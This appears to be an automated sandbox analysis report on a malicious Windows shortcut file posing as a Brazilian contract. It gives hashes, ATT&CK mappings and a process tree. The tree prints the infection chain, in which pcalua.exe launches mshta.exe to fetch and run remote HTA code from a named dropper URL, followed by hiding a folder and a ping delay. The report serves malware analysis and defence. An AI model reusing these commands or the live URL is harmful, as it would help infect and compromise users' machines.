11697385efeae82dcabf246d4c4be611963bbeb75aad0fd0f8d8188bb2837b80

General

Target
Contrato_Indeniza_Brasil-424BOD.lnk
Size 1KB
Sample260803-py3daszset
SHA256 11697385efeae82dcabf246d4c4be611963bbeb75aad0fd0f8d8188bb2837b80
MD5 5c7eea3e7aebb92bbef2d01823c98b69
SHA1 d9dc43fb22e77096ef1e7fce2b9fcaa2c20e7158
SHA512 413c5cfa60da175d70d2e39725448b823713e64b15bd28dcb6d35ace4ce30638fac56d614ad84b485778274a16c7aac0c83348c96c154ff882ec9825b3c40fb8
TLSH
T1D53126003EFD0724F3B7DE76557BAB1099FBF9968E118A1D408446481466A04E57EFB3
MD5 SHA1 SHA512 TLSH

Score

10^/10

adware defense_evasion discovery execution persistence ransomware spyware

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper
https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D

Signatures

Badlisted process makes network request 10 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	4848	mshta.exe
6	4848	mshta.exe
7	4848	mshta.exe
8	4848	mshta.exe
9	4848	mshta.exe
14	4848	mshta.exe
15	4848	mshta.exe
16	4848	mshta.exe
17	4848	mshta.exe
18	4848	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2672	cmd.exe
2952	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2080	PING.EXE
2952	cmd.exe

Modifies Internet Explorer settings 1 TTPs 8 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2080	PING.EXE

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	17	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
4144	rundll32.exe
1500	rundll32.exe
3440	rundll32.exe
3668	rundll32.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 2672 wrote to memory of 1380	2672	cmd.exe	90
PID 1380 wrote to memory of 4848	1380	pcalua.exe	91
PID 4848 wrote to memory of 4144	4848	mshta.exe	95
PID 4848 wrote to memory of 1500	4848	mshta.exe	94
PID 4848 wrote to memory of 3440	4848	mshta.exe	96
PID 4848 wrote to memory of 3668	4848	mshta.exe	97
PID 4848 wrote to memory of 4936	4848	mshta.exe	98

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4936	attrib.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Contrato_Indeniza_Brasil-424BOD.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2672
- C:\WINDOWS\system32\pcalua.exe
  "C:\WINDOWS\system32\pcalua.exe" -a mshta.exe -c "https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1380
- - C:\Windows\System32\mshta.exe
    "C:\Windows\System32\mshta.exe" "https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D"
    3⤵
    - Badlisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:4848
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      PID:1500
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        
        PID:1428
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      PID:4144
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        
        PID:4284
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      PID:3440
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        
        PID:1304
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      PID:3668
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        
        PID:3540
  - - C:\Windows\System32\attrib.exe
      "C:\Windows\System32\attrib.exe" +h +s "C:\gtxiqrby\"
      4⤵
      Views/modifies file attributes
      PID:4936
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      PID:1444
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        
        PID:3604
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c ping -n 300 -w 1000 127.0.0.1 >nul
      4⤵
      Executes a command shell one-liner
      System Network Configuration Discovery: Internet Connection Discovery
      PID:2952
    - - C:\Windows\System32\PING.EXE
        
        ping -n 300 -w 1000 127.0.0.1
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2080

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

Windows Command Shell

1

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

1

T1564

Hidden Files and Directories

Modify Registry

Credential Access

Discovery

Query Registry

1

T1012

Remote System Discovery

1

T1018

System Information Discovery

1

T1082

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

a2.zip

Path C:\gtxiqrby\a2.zip
Size 1.3MB
SHA256 e692946ad4608464abd24c904d34080a611a675529b8a53b7388527c4610a22c
MD5 75c652bc8210c9df76e247710e6d0780
SHA1 20fe3471603f53d5f123f5dc8be7b5c157b60be4
SHA512 a287412c793fceb02a16bafc5bd4b0f281f3115636523ecacac0cc2b77c6f934b35a969e57f4e63f03997c3dde0e9358de5be394926eb8af4312c90bfa89a1e3
SSDEEP 24576:IAuYNwua6NduNqjRt1pSdu4E0mcKptG6lgVT0kQkmSp9QpDH1tMlya2:IAuSw7Ku4xpSd7m7BlgVQmvQJH1tD
TLSH
T16F553355B7EDDF14E07D52A1C9C14ED42EE304ADBFE8CC081AC84788D5D236DA948EBA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

a3.zip

Path C:\gtxiqrby\a3.zip
Size 2KB
SHA256 a399e4c3723a21fd44a274aa54efb5737d627e5f1629d64f41e6ffd55fc69d16
MD5 0d2dce1eea8c2296ba71aa4d2f1df132
SHA1 819a448495a30d16b4b1361fa7cc84c0a8e9472f
SHA512 1b77b1e9dca47135b18ada161e291b4cea91b0014cc556bf2542851db6dc9b6e0c08d68c67f07ac458785792505ba86cc73cdb9b0fd9ba8172d032dab7f0a375
TLSH
T1FB414CE88DBDBDA0D68E79749A1458B155372EC499C062681FBFEC042230398CF2F46D
MD5 SHA1 SHA512 TLSH